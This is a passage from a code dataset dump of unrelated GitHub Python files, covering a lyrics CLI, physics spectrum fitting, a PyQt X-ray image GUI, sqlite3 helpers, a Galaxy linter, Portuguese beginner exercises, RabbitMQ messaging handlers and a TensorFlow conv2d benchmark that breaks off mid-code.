>>> view 99521950\n\n '''\n if(song == \"\"):\n print('\"Sorry, You did not input a search parameter!\"')\n else:\n print (finder.get_lyrics(song))\n def do_save(self, song):\n '''\n The Command save allows a user to save the lyrics of a particular song using its Track_ID\n into the local database, It's tied with the get_lyrics function to make sure you do\n not save duplicates.\n Example >>> save 99521950\n\n '''\n if(song == \"\"):\n print('\"Sorry, Your Song is either already in the database or no song found\"')\n else:\n (finder.get_lyrics(song, save = True))\n print(\"Success! Song saved.\")\n def do_clear(self, line):\n '''\n The Command Clear deletes your entire Local songs database.\n Bored by your Current Songs?\n do >>> clear\n '''\n finder.clear_songs()\n print(\"Done! Songs cleared.\")\n \n def do_EOF(self, line):\n '''\n Opsy! House keeping to exit the program.\n \n '''\n return True\n\n\nif __name__ == '__main__':\n Finder().cmdloop()\n","repo_name":"Stephen-Njoroge/bc-9-Song-Lyrics-Finder","sub_path":"song.py","file_name":"song.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74175035951","text":"#!/usr/bin/env python3\n\nimport sys\n\nsys.path.append(\"/home/braun/projects/hdtv\")\nimport hdtv.specreader\nfrom hdtv.errvalue import ErrValue\nimport ROOT\nimport math\n\nhdtv.rootext.fit\n\n\ndef test(bgdeg):\n int_tot = ROOT.HDTV.Fit.TH1Integral(h, 6, 12)\n\n bg = ROOT.HDTV.Fit.PolyBg(bgdeg)\n bg.AddRegion(-0.1, 5.1)\n bg.AddRegion(12.9, 18.1)\n bg.Fit(h)\n\n for i in range(0, bg.GetDegree() + 1):\n par = ErrValue(bg.GetFunc().GetParameter(i), bg.GetFunc().GetParError(i))\n print(\"bg[%d]: %10s\" % (i, par.fmt()))\n\n int_bac = ROOT.HDTV.Fit.BgIntegral(bg, 6, 12, h.GetXaxis())\n int_sub = ROOT.HDTV.Fit.TH1BgsubIntegral(h, bg, 6, 12)\n\n print(\"\")\n print(\"type position width volume skewness\")\n for integral, kind in zip((int_tot, int_bac, int_sub), (\"tot:\", \"bac:\", \"sub:\")):\n pos = ErrValue(integral.GetMean(), integral.GetMeanError())\n width = ErrValue(integral.GetWidth(), integral.GetWidthError())\n vol = ErrValue(integral.GetIntegral(), integral.GetIntegralError())\n skew = ErrValue(integral.GetRawSkewness(), integral.GetRawSkewnessError())\n\n print(\n \"%s %15s %15s %15s %15s\"\n % (kind, pos.fmt(), width.fmt(), vol.fmt(), skew.fmt())\n )\n\n\nreader = hdtv.specreader.SpecReader()\nh = reader.GetSpectrum(\"test.asc\")\n\nh.Sumw2()\n\nprint(\"bgdeg=1\")\ntest(1)\n\nprint(\"\")\nprint(\"bgdeg=2\")\ntest(2)\n","repo_name":"janmayer/hdtv","sub_path":"tests/integral/inttest.py","file_name":"inttest.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"38"} +{"seq_id":"33614819246","text":"import sys\nimport os\nfrom specify_XANES_files import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import Qt, QCoreApplication\nimport scipy\nimport data_struct\nimport data_stack\nimport analyze\nimport nnma\nimport henke\nimport matplotlib \nimport qimage2ndarray\nimport numpy as np\n\n\nclass common:\n def __init__(self):\n self.stack_loaded = 0\n #self.path = ''\n #self.filename = ''\n #self.font = ''\n\nclass MyForm(QtGui.QDialog):\n def __init__(self, parent=None):\n QtGui.QWidget.__init__(self, parent)\n self.ui = Ui_Dialog()\n self.ui.setupUi(self)\n #'Browse Data' callback\n QtCore.QObject.connect(self.ui.button_load_XANES, QtCore.SIGNAL('clicked()'), self.GetSamFile)\n #'Background' callback\n QtCore.QObject.connect(self.ui.button_load_BKG, QtCore.SIGNAL('clicked()'), self.GetBkgFile)\n #'Load Reference 1' callback\n QtCore.QObject.connect(self.ui.load_ref1, QtCore.SIGNAL('clicked()'), self.GetRef1File)\n #'Load Reference 2' callback\n QtCore.QObject.connect(self.ui.load_ref2, QtCore.SIGNAL('clicked()'), self.GetRef2File)\n #'Load Reference 3' callback\n QtCore.QObject.connect(self.ui.load_ref3, QtCore.SIGNAL('clicked()'), self.GetRef3File)\n #'Load and Show Image' callback\n QtCore.QObject.connect(self.ui.back_normal, QtCore.SIGNAL('clicked()'), self.LoadShowImage)\n\n def GetSamFile(self):\n if self.ui.samTxrm.isChecked() == True:\n wildcard = \"TXRM (*.txrm)\" \n self.window().LoadFile(wildcard)\n self.ui.text_XANES_filename.setText(\"Filepath: \" +self.directory+ \"\\n\" +\"Filename: \" +self.filename)\n self.sam_directory = self.directory\n self.sam_filename = self.filename\n self.sam_filepath = self.filepath \n if self.ui.samXrm.isChecked() == True:\n wildcard = \"XRM (*.xrm)\" \n self.window().LoadFiles(wildcard)\n self.ui.text_XANES_filename.setText(\"Filepath: \" +self.directory+ \"\\n\" +\"Filename: \" +self.filename_first+ \"\\n\" +self.filename_last)\n self.sam_directory = self.directory\n self.sam_filepaths = self.filepaths\n\n def GetBkgFile(self):\n if self.ui.bkgTxrm.isChecked() == True:\n wildcard = \"TXRM (*.txrm)\" \n self.window().LoadFile(wildcard)\n self.ui.text_BKG_filename.setText(\"Filepath: \" +self.directory+ \"\\n\" +\"Filename: \" +self.filename)\n self.bkg_directory = self.directory\n self.bkg_filename = self.filename\n self.bkg_filepath = self.filepath \n if self.ui.bkgXrm.isChecked() == True:\n wildcard = \"XRM (*.xrm)\" \n self.window().LoadFiles(wildcard)\n self.ui.text_BKG_filename.setText(\"Filepath: \" +self.directory+ \"\\n\" +\"Filename: \" +self.filename_first+ \"\\n\" +self.filename_last)\n self.bkg_directory = self.directory\n self.bkg_filepaths = self.filepaths\n\n def LoadFile(self, wildcard = ''):\n filepath = QtGui.QFileDialog.getOpenFileName(self, 'Open file', '', wildcard)\n filepath = str(filepath)\n if filepath == '':\n return \n self.directory = os.path.dirname(str(filepath))\n self.filename = os.path.basename(str(filepath))\n self.filepath = filepath\n\n def LoadFiles(self, wildcard = ''):\n filepaths = QtGui.QFileDialog.getOpenFileNames(self, 'Open file', '', wildcard)\n if filepaths == '':\n return \n self.directory = os.path.dirname(str(filepaths[0]))\n self.filename_first = os.path.basename(str(filepaths[0]))\n self.filename_last = os.path.basename(str(filepaths[-1]))\n self.filepaths = filepaths\n\n def GetRef1File(self, wildcard = ''):\n wildcard = \"TXT (*.txt)\" \n self.window().LoadFile(wildcard)\n self.ref1 = []\n with open (self.filepath, \"r\") as myfile:\n myfile.readline()\n for line in myfile:\n self.ref1.append(float(line.split()[1]))\n #print(ref1)\n self.ui.ref1name.setText(self.filename)\n\n def GetRef2File(self, wildcard = ''):\n wildcard = \"TXT (*.txt)\" \n self.window().LoadFile(wildcard)\n self.ref2 = []\n with open (self.filepath, \"r\") as myfile:\n myfile.readline()\n for line in myfile:\n self.ref2.append(float(line.split()[1]))\n self.ui.ref2name.setText(self.filename)\n\n def GetRef3File(self, wildcard = ''):\n wildcard = \"TXT (*.txt)\" \n self.window().LoadFile(wildcard)\n self.ref3 = []\n with open (self.filepath, \"r\") as myfile:\n myfile.readline()\n for line in myfile:\n self.ref3.append(float(line.split()[1]))\n self.ui.ref3name.setText(self.filename)\n\n def LoadShowImage(self):\n QtGui.QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))\n #initialization\n self.data_struct = data_struct.h5()\n self.stk_sam = data_stack.data(self.data_struct)\n self.stk_bkg = data_stack.data(self.data_struct)\n self.anlz_sam = analyze.analyze(self.stk_sam)\n self.anlz_bkg = analyze.analyze(self.stk_bkg)\n self.common = common()\n\n #load sample and background\n if self.ui.samTxrm.isChecked() == True: \n #self.new_stack_refresh() \n self.stk_sam.new_data()\n #self.stk.data_struct.delete_data()\n self.anlz_sam.delete_data() \n self.stk_sam.read_txrm(self.sam_filepath) \n \n if self.ui.samXrm.isChecked() == True: \n self.stk_sam.new_data()\n self.anlz_sam.delete_data()\n #self.sam_filelist = os.path.basename(str(self.sam_filepaths))\n self.stk_sam.read_xrm_list(self.sam_filepaths) \n\n if self.ui.bkgTxrm.isChecked() == True:\n self.stk_bkg.new_data()\n self.anlz_bkg.delete_data() \n self.stk_bkg.read_txrm(self.bkg_filepath)\n\n if self.ui.bkgXrm.isChecked() == True:\n self.stk_bkg.new_data()\n self.anlz_bkg.delete_data()\n #self.bkg_filelist = os.path.basename(str(self.bkg_filepaths))\n self.stk_bkg.read_xrm_list(self.bkg_filepaths)\n \n self.common.stack_loaded == 1\n\n #update image information\n self.iev = int(self.stk_sam.n_ev)\n x=self.stk_sam.n_cols\n y=self.stk_sam.n_rows\n z=self.iev \n print(z) \n self.ix = int(x/2)\n self.iy = int(y/2)\n \n #calculate scaleimg\n sam_image_stack = self.stk_sam.absdata.copy() \n bkg_image_stack = self.stk_bkg.absdata.copy()\n self.scale_image_stack = np.true_divide(sam_image_stack,bkg_image_stack)\n\n #refresh_widgets\n #show image\n self.ShowImage()\n QtGui.QApplication.restoreOverrideCursor()\n\n def ShowImage(self):\n image = qimage2ndarray.numpy2qimage(np.array(255*self.scale_image_stack[:,:,int(self.iev)-1], dtype=int))\n pixmap = QtGui.QPixmap.fromImage(image)\n pixmap = pixmap.scaled(379, 379,QtCore.Qt.IgnoreAspectRatio)\n rotated_pixmap = pixmap.transformed(\n QtGui.QMatrix().rotate(-90),\n Qt.SmoothTransformation\n )\n #pixmap = QtGui.QPixmap.fromImage(ImageQt(scipy.misc.toimage(image)))\n\n self.scene = QGraphicsScene(self)\n item = QGraphicsPixmapItem(rotated_pixmap)\n self.scene.addItem(item)\n self.ui.orgView.setScene(self.scene)\n\n\n\nif __name__ == \"__main__\":\n app = QtGui.QApplication(sys.argv)\n myapp = MyForm()\n myapp.show()\n sys.exit(app.exec_())\n\n \n \n \n","repo_name":"dtyu/xrayanalysisgui","sub_path":"XANE/xanes_PyQt_by07112014/call_specify_XANES_files.py","file_name":"call_specify_XANES_files.py","file_ext":"py","file_size_in_byte":7219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9653281092","text":"import sqlite3\n\n\n# c = conn.cursor()\n\ndef connect(db_name):\n try:\n conn = sqlite3.connect('file:'+db_name+'?mode=ro', uri=True)\n except sqlite3.OperationalError:\n try:\n conn = sqlite3.connect('file:'+db_name+'?mode=ro', uri=True)\n except sqlite3.OperationalError as e:\n return e\n else:\n return conn \n\ndb_name1 = 'example.db'\nconn = connect(db_name1)\n\nif isinstance(conn, sqlite3.OperationalError):\n conn = sqlite3.connect(db_name1)\n\nprint(type(conn))\n\ndef close_db(conn):\n try:\n conn.close()\n except AttributeError:\n pass\n finally:\n print('ЕХИТ')\n# close_db(conn)\n\n# create_table('stocks',['id int', 'date text', 'qty real'])\ndef create_tb(c, fieldset):\n # убедиться что таблицы нет\n # если она есть, пропустить создание\n # при этом он адолжна быть объектом класса \n if not isinstance(conn, sqlite3.Connection):\n raise sqlite3.OperationalError\n else:\n try:\n # Create table\n c.execute(f\"CREATE TABLE 'stocks' {fieldset}\")\n except sqlite3.ProgrammingError:\n print('tb already exists.')\n \n# еще 4 функции: добавление данных в таблицу, обновление, удаление, выборка \ncreate_tb(conn,['id int', 'date text', 'qty real'])\ndef insert_data(c, tb_name, *args):\n data = args[0]\n c.execute(f\"INSERT INTO {tb_name} VALUES {data}\")\n\n\ndef update_data(c, tb_name, *args):\n field_val = args[0] \n condition = args[1]\n c.execute(f\"UPDATE {tb_name} SET {field_val} WHERE {condition}\")\n\n\ndef select_data(c, tb_name, field, condition):\n c.execute(f\"SELECT {field} FROM {tb_name} WHERE {condition}\")\n \n \n\ndef del_data(c, tb_name, condition):\n try:\n c.execute(f\"DELETE FROM {tb_name} WHERE {condition}\")\n except sqlite3.ProgrammingError:\n print('Data not found.')\n \ndef test_f_PE(c, f_name, tb_name, *args):\n try:\n f_name(c,tb_name)\n except sqlite3.ProgrammingError:\n print('Table not found.')\n\n\ndef test_f_OE(c, f_name, tb_name, *args):\n try:\n f_name(c,tb_name, args)\n except sqlite3.OperationalError:\n print('Uncorrect values.')\n\n\n# Insert a row of data\n# # c.execute(\"INSERT INTO stocks VALUES ('2006-01-05','SELL','RHAT',100,35.14)\")\n\n# # Save (commit) the changes\n# conn.commit()\n\n# #for rec in c.execute(\"SELECT * FROM stocks\"):\n# # print(rec)\n\n# c.execute(\"DELETE FROM stocks WHERE trans= 'BUY'\")\n\n# for rec in c.execute(\"SELECT * FROM stocks\"):\n# print(rec)\n \n# qty = 300 \n# trans = 'SELL'\n# symbol = 'RHAT'\n \n# c.execute(f\"UPDATE stocks SET trans = '{trans}', qty = {qty} WHERE symbol = '{symbol}'\")\n\n# for rec in c.execute(\"SELECT * FROM stocks\"):\n# print(rec)\n\n\n\n# # SELECT * FROM stocks\n\n# # UPDATE stocks SET trans = 'BUY', qty = 200 WHERE symbol = 'RHAT'","repo_name":"MeiJohnson/prog_exam","sub_path":"ПРОГ-4/ЛР1-3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"17835432505","text":"import re\n\n\ndef lint_top_level(tree, lint_ctx):\n root = tree.getroot()\n if \"version\" not in root.attrib:\n lint_ctx.error(\"Tool does not define a version attribute.\")\n else:\n lint_ctx.valid(\"Tool defines a version.\")\n\n if \"name\" not in root.attrib:\n lint_ctx.error(\"Tool does not define a name attribute.\")\n else:\n lint_ctx.valid(\"Tool defines a name.\")\n\n if \"id\" not in root.attrib:\n lint_ctx.error(\"Tool does not define an id attribute.\")\n else:\n lint_ctx.valid(\"Tool defines an id name.\")\n\n id = root.attrib[\"id\"]\n if re.search(r\"\\s\", id):\n lint_ctx.warn(\"Tool id contains a space - this is discouraged.\")\n","repo_name":"igorhollaender/OBSOLETE_sirv_dashboard","sub_path":"lib/galaxy/tools/linters/top_level.py","file_name":"top_level.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"42208602530","text":"import sys\n\nimport numpy as np\nimport open3d as o3d\n\nply_file = sys.argv[1]\nif not ply_file:\n exit(1)\npcd = o3d.io.read_point_cloud(ply_file)\nR = pcd.get_rotation_matrix_from_xyz((-np.pi/2, 0, 0))\npcd.rotate(R)\no3d.io.write_point_cloud(sys.argv[1], pcd, write_ascii=True)","repo_name":"CabbSir/scripts","sub_path":"rex/x_90_rotate.py","file_name":"x_90_rotate.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32494288981","text":"\"\"\"\n31 Leia um número inteiro e imprima o seu antecessor e o seu sucessor.\n\"\"\"\nnum = int(input('Digite um número inteiro: '))\n\nprint(f' o antecessor é {num - 1} e o sucessor é {num + 1}')\n\n\"\"\"\n32 Leia um número inteiro e imprima a soma do sucessor de seu triplo com antecessor de \nseu dobro.\n\"\"\"\nnum = int(input('Digite um número inteiro: '))\n\ntriplo = num * 3\ndobro = num * 2\n\nsoma = (triplo + 1) + (dobro - 1)\n\nprint(f'A soma do sucessor de {triplo} com o antecessor de {dobro} é {soma}')\n\n\"\"\"\n33 Leia o tamanho de um quadrado e imprima como resultado a sua área\n\"\"\"\nlado = float(input('Digite um doa lados de um quadrado: '))\n\narea = lado ** 2\n\nprint(f'A área do quadrado é {area}')\n\n\"\"\"\n34 Leia o valor do raio de um cpírculo e calcule e imprima a área do circulo correspondente.\nA área do cículo é pi * raio², considere pi = 3.141592\n\"\"\"\nraio = float(input('Digite o valor do raio do circulo: '))\n\npi = 3.141592\narea = pi * (raio ** 2)\n\nprint(f'A área do círculo é {area}')\n\n\"\"\"\n35 Seja a e b os catetos de um triângulo, onde a hipotenusa é obtida pela equação:\nhipotenusa = raiz(a² + b³). Faça um programa que receba os valores de a e b e calcule\no valor da hipotenusa através da equação. imprima o resultado dessa operação.\n\"\"\"\na = float(input('Digite o valor de a: '))\nb = float(input('Digite o valor de b: '))\n\nhipotenusa = (a ** 2 + b ** 2) ** (1/2)\n\nprint(f'O valor da hipotenusa é {hipotenusa}')\n\n\"\"\"\n36 Leia a altura e o raio de um cilindro circular e imprima o volume do cilindro. O Volume \nde um cilindro circular é calculado por meio da seguinte fórmula: V = PI * R² * altura, \nonde pi = 3.141592.\n\"\"\"\nr = float(input('Digite o valor do raio: '))\na = float(input('Digite o valor da altura: '))\n\npi = 3.141592\nv = pi * r ** 2 * a\n\nprint(f'O volume do cilindro é {v}')\n\n\"\"\"\n37 Faça um programa que leia o valor de um produto e imprima o valor com desconto , tendo\nem vista que o desconto foi de 12%\n\"\"\"\np = float(input('Digite o valor de um produto: '))\n\nd = p * 12/100\nvf = p - d\n\nprint(f'Valor do produto com desconto {vf}')\n\n\"\"\"\n38 Leia o salário de um funcionário. Calcule e imprima o valor do novo salário, sabendo que \nele recebeu um aumento de 25%.\n\"\"\"\ns = float(input('Digite o valor do salário atual: '))\n\na = s * 25/100\nns = s + a\n\nprint(f'O valor do salário novo é {ns}')\n\n\"\"\"\n39 A importância de R$ 780 000.00 será dividida entre ganhadores de um concurso.\nSendo que da quantia total:\n - O primeiro ganhador receberá 46%\n - O segundo receberá 32%\n- O terceiro receberá o restante\nCalcule e imprima a quantia ganha por cada um dos ganhadores do premio.\n\"\"\"\np = 780000.00\n\np1 = p * 46/100\np2 = p * 32/100\np3 = p - (p1 + p2)\n\nprint(f'O primeiro ganhador receberá R$ {p1}, \\no segundo ganhardo receberá R$ {p2} \\ne o terceiro ganhador receberá R$ {p3}')\n\n\"\"\"\n40 Uma empresa contrata um encanador por R$ 30.00 por dia. Faça um programa que solicite\no número de dias trabalhados pelo encanador e imprima a quantia liquida que deverá ser \npaga, sabendo-se que são descontados 8% para imposto de renda.\n\"\"\"\nd = float(input('Digite a quantidade de dias trabalhados: '))\n\nbruto = d * 30.00\nliquido = bruto * 0.92\n\nprint(f'Valor bruto R$ {bruto}, valor liquido já comd esconto de 8% R$ {liquido}')\n","repo_name":"CarlVAC1980/estudo_python_udemy_geek_university","sub_path":"02variaveis_e_tipos_de_dados_em_python/exercicios/exercicio4.py","file_name":"exercicio4.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33887087594","text":"import asyncio\nimport datetime\nimport json\nimport logging\n\nimport aiohttp\nimport base64\nfrom aiohttp.web import Response\nfrom aiohttp.web_exceptions import HTTPBadRequest, HTTPNoContent\nimport asynqp\nfrom aiohttp.web_ws import WebSocketResponse\nfrom sqlalchemy.orm.exc import NoResultFound\n\nfrom apiox.core.handlers import BaseHandler\nfrom apiox.core.db import Token\nfrom apiox.core.response import JSONResponse\nfrom apiox.core.token import hash_token\nfrom apiox.messaging.db import MessagingCredentials\n\nlogger = logging.getLogger('apiox.messaging')\n\nclass IndexHandler(BaseHandler):\n @asyncio.coroutine\n def get(self, request):\n return JSONResponse(body={\n '_links': {\n 'self': {'href': request.path},\n }\n })\n\n\nclass MessagingHandler(BaseHandler):\n @asyncio.coroutine\n def get_amqp_connection(self, request):\n yield from self.require_authentication(request, require_scopes=('/messaging/connect',))\n mc, secret = MessagingCredentials.create_from_token(request.app, request.session, request.token)\n request.session.commit()\n return (yield from asynqp.connect('localhost', 5672,\n username=mc.id,\n password=secret,\n loop=request.app.loop))\n\n\nclass WebSocketInterfaceHandler(MessagingHandler):\n @asyncio.coroutine\n def get(self, request):\n connection = yield from self.get_amqp_connection(request)\n ws = WebSocketResponse()\n yield from ws.prepare(request)\n\n channel = connection.open_channel()\n consumer = self.get_consumer(request, channel, ws)\n\n while not ws.closed:\n msg = yield from ws.receive()\n if msg.tp != aiohttp.MsgType.text:\n continue\n try:\n msg = json.loads(msg.data)\n except ValueError:\n ws.send_str(json.dumps({'error': 'invalid_json'}))\n try:\n id, action = msg['id'], msg['action']\n except KeyError:\n pass\n\n\n def get_consumer(self, request, channel, ws):\n def handler(msg):\n ws.send_bytes()\n\n\nclass GetFromQueueHandler(MessagingHandler):\n @asyncio.coroutine\n def get(self, request):\n connection = yield from self.get_amqp_connection(request)\n channel = yield from connection.open_channel()\n try:\n queue_name = request.GET['queue']\n except KeyError:\n return JSONResponse(body={'error': 'missing_parameter',\n 'error_description': \"Missing 'queue' parameter\"},\n base=HTTPBadRequest)\n try:\n count = int(request.GET.get('count', 512))\n except ValueError:\n return JSONResponse(body={'error': 'bad_parameter',\n 'error_description': \"Parameter 'count' must be an int, or missing\"},\n base=HTTPBadRequest)\n\n queue = yield from channel.declare_queue(queue_name, durable=False, auto_delete=True)\n messages = []\n for i in range(count):\n message = yield from queue.get()\n if not message:\n break\n message.ack()\n print(message.__dict__)\n body = message.body.decode(message.content_encoding)\n if message.content_type == 'application/json':\n try:\n body = json.loads(body)\n except ValueError:\n pass\n\n messages.append({'headers': message.headers,\n 'body': body,\n 'content_type': message.content_type,\n 'reply_to': message.reply_to,\n 'message_id': message.message_id,\n 'timestamp': message.timestamp.isoformat(),\n 'routing_key': message.routing_key,\n 'exchange_name': message.exchange_name})\n\n yield from channel.close()\n return JSONResponse(body=messages)\n\n\nclass PublishToExchangeHandler(MessagingHandler):\n @asyncio.coroutine\n def post(self, request):\n messages = yield from self.validated_json(request, 'messaging', 'messages')\n connection = yield from self.get_amqp_connection(request)\n channel = yield from connection.open_channel()\n try:\n exchange_name = request.GET['exchange']\n except KeyError:\n return JSONResponse(body={'error': 'missing_parameter',\n 'error_description': \"Missing 'exchange' parameter\"},\n base=HTTPBadRequest)\n exchange = yield from channel.get_exchange(exchange_name)\n\n for message in messages:\n routing_key = message.pop('routing_key')\n exchange.publish(routing_key=routing_key,\n message=asynqp.Message(**message))\n yield from channel.close()\n return HTTPNoContent()\n\nclass RabbitMQAuthHandler(BaseHandler):\n @asyncio.coroutine\n def user(self, request):\n try:\n username, password = request.GET['username'], request.GET['password']\n except KeyError:\n raise HTTPBadRequest\n try:\n secret_hash = hash_token(request.app, password)\n mc = request.session.query(MessagingCredentials).filter_by(id=username, secret_hash=secret_hash).one()\n except NoResultFound:\n logger.info(\"Denying access for user %s (bad credentials)\", username)\n return Response(body=b'deny', content_type='text/plain')\n if not any(scope.id == '/messaging/connect' for scope in mc.scopes):\n logger.info(\"Denying access for user %s (missing scope)\", username)\n return Response(body=b'deny', content_type='text/plain')\n logger.info(\"Allowing access for user %s\", username)\n return Response(body=b'allow administrator', content_type='text/plain')\n\n @asyncio.coroutine\n def vhost(self, request):\n try:\n body = b'allow' if request.GET['vhost'] == '/' else b'deny'\n except KeyError:\n raise HTTPBadRequest\n return Response(body=body, content_type='text/plain')\n\n @asyncio.coroutine\n def resource(self, request):\n return Response(body=b'allow', content_type='text/plain')\n\n\nclass CredentialsHandler(BaseHandler):\n @asyncio.coroutine\n def post(self, request):\n yield from self.require_authentication(request)\n mc, secret = MessagingCredentials.create_from_token(request.app, request.session, request.token)\n\n return JSONResponse(\n body={'username': mc.id, 'password': secret},\n headers={'Pragma': 'no-cache'},\n )\n","repo_name":"ox-it/apiox-messaging","sub_path":"apiox/messaging/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4446029659","text":"\"\"\"\n정사각형이 늘어날 때마다 둘레가 dp[i] = dp[i-2] + dp[i-1] 의 규칙을 가지고 있는 것을 파악하고\n해당 점화식을 통해 간단하게 구현\n\"\"\"\n\ndef solution(N):\n dp = [0] * 81\n dp[0] = 4\n dp[1] = 6\n dp[2] = 10\n for i in range(3, N + 1):\n dp[i] = dp[i-2] + dp[i-1]\n return dp[N-1]","repo_name":"prography-6th-study/algorithm-code","sub_path":"seongwoo/3-타일장식물.py","file_name":"3-타일장식물.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"4004751294","text":"import itertools\nimport time\n\nfrom tensorflow.core.protobuf import config_pb2\nfrom tensorflow.core.protobuf import rewriter_config_pb2\nfrom tensorflow.python.client import session as session_lib\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import nn_ops\nfrom tensorflow.python.ops import random_ops\nfrom tensorflow.python.ops import variable_v1\nfrom tensorflow.python.ops import variables\nfrom tensorflow.python.platform import flags\nfrom tensorflow.python.platform import test\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_boolean(\n \"enable_layout_optimizer\", False,\n \"If true, enables layout optimizer to update input data format for faster \"\n \"execution of convolution ops.\")\n\n\ndef build_graph(device, dtype, data_format, input_shape, filter_shape, strides,\n padding, num_iters, warmup_iters):\n \"\"\"builds a graph containing a sequence of conv2d operations.\n\n Args:\n device: String, the device to run on.\n dtype: Data type for the convolution.\n data_format: A string from: \"NHWC\" or \"NCHW\". Data format for input and\n output data.\n input_shape: Shape of the input tensor.\n filter_shape: Shape of the filter tensor.\n strides: A list of ints. 1-D of length 4. The stride of sliding\n window for each dimension of input.\n padding: A string from: \"SAME\", \"VALID\". The type of padding\n algorithm to use.\n num_iters: number of iterations to run conv2d.\n warmup_iters: number of iterations for warmup runs.\n\n Returns:\n An array of tensors to run()\n \"\"\"\n with ops.device(\"/%s:0\" % device):\n inp = variable_v1.VariableV1(\n random_ops.truncated_normal(input_shape, dtype=dtype))\n filt = variable_v1.VariableV1(\n random_ops.truncated_normal(filter_shape, dtype=dtype))\n\n outputs = []\n conv2d_op = nn_ops.conv2d(\n inp, filt, strides, padding, data_format=data_format)\n outputs.append(conv2d_op)\n for _ in range(1, num_iters):\n with ops.control_dependencies([conv2d_op]):\n conv2d_op = nn_ops.conv2d(\n inp, filt, strides, padding, data_format=data_format)\n outputs.append(conv2d_op)\n\n warmup_groups = []\n warmup_conv2d_op = nn_ops.conv2d(\n inp, filt, strides, padding, data_format=data_format)\n warmup_groups.append(warmup_conv2d_op)\n for _ in range(1, warmup_iters):\n with ops.control_dependencies([warmup_conv2d_op]):\n warmup_conv2d_op = nn_ops.conv2d(\n inp, filt, strides, padding, data_format=data_format)\n warmup_groups.append(warmup_conv2d_op)\n return control_flow_ops.group(*warmup_groups), control_flow_ops.group(\n *outputs)\n\n\nclass Conv2DBenchmark(test.Benchmark):\n \"\"\"Benchmark conv2d!\"\"\"\n\n def _run_graph(self, device, dtype, data_format, input_shape, filter_shape,\n strides, padding, num_iters, warmup_iters):\n \"\"\"runs the graph and print its execution time.\n\n Args:\n device: String, the device to run on.\n dtype: Data type for the convolution.\n data_format: A string from: \"NHWC\" or \"NCHW\". Data format for input and\n output data.\n input_shape: Shape of the input tensor.\n filter_shape: Shape of the filter tensor.\n strides: A list of ints. 1-D of length 4. The stride of sliding\n window for each dimension of input.\n padding: A string from: \"SAME\", \"VALID\". The type of padding\n algorithm to use. num_iters: Number of iterations to run the\n benchmark.\n num_iters: number of iterations to run conv2d.\n warmup_iters: number of iterations for warmup runs.\n\n Returns:\n The duration of the run in seconds.\n \"\"\"\n graph = ops.Graph()\n with graph.as_default():\n warmup_outputs, outputs = build_graph(device, dtype, data_format,\n input_shape, filter_shape, strides,\n padding, num_iters, warmup_iters)\n\n config = config_pb2.ConfigProto()\n config.graph_options.optimizer_options.opt_level = -1\n rewrite_options = config.graph_options.rewrite_options\n\n # Disable layout optimizer to not change input data_format.\n rewrite_options.layout_optimizer = (\n rewriter_config_pb2.RewriterConfig.ON if FLAGS.enable_layout_optimizer\n else rewriter_config_pb2.RewriterConfig.OFF)\n # Convolution ops are effectively noop in the test graph as we are not\n # fetching the convolution outputs. Disable dependency optimizer to not\n # remove the conv ops.\n rewrite_options.dependency_optimization = (\n rewriter_config_pb2.RewriterConfig.OFF)\n\n with session_lib.Session(graph=graph, config=config) as session:\n # TODO(hinsu): Use run_op_benchmark method from test.Benchmark to run\n # benchmark along with warmup.\n variables.global_variables_initializer().run()\n # warmup runs\n session.run(warmup_outputs)\n\n start_time = time.time()\n session.run(outputs)\n duration = (time.time() - start_time) / num_iters\n print(\"%s %s %s inputshape:%s filtershape:%s strides:%s padding:%s \"\n \"%d iters: %.8f sec\" %\n (device, str(dtype), data_format, str(input_shape).replace(\n \" \", \"\"), str(filter_shape).replace(\" \", \"\"),\n str(strides).replace(\" \", \"\"), padding, num_iters, duration))\n\n name_template = (\n \"conv2d_{device}_{datatype}_{data_format}_input_shape_{inputshape}_\"\n \"filter_shape_{filtershape}_strides_{strides}_padding_{padding}\")\n\n self.report_benchmark(\n name=name_template.format(\n device=device,\n datatype=str(dtype),\n data_format=str(data_format),\n inputshape=str(input_shape).replace(\" \", \"\"),\n filtershape=str(filter_shape).replace(\" \", \"\"),\n strides=str(strides).replace(\" \", \"\"),\n padding=padding).replace(\" \", \"\"),\n iters=num_iters,\n wall_time=duration)\n\n return duration\n\n def benchmark_conv2d(self):\n print(\"conv2d benchmark:\")\n\n data_types = [dtypes.float32, dtypes.float16]\n data_formats = [\"NHWC\", \"NCHW\"]\n in_channels = list(range(1, 10)) + list(range(10, 20, 2)) + list(\n range(20, 33, 4))\n out_channels = [4, 16, 32]\n hw_strides = [[2, 2]]\n paddings = [\"VALID\", \"SAME\"]\n\n args_lists = [\n data_types, data_formats, in_channels, out_channels, hw_strides,\n paddings\n ]\n for args in itertools.product(*args_lists):\n dtype, data_format, in_channel, out_channel, hw_stride, padding = args\n\n # Keep batch size same as out channels just to reduce the number of\n # different configurations to benchmark.\n batch_size = out_channel\n h, w, fh, fw = 500, 500, 3, 3\n if data_format == \"NHWC\":\n ishape = [batch_size, h, 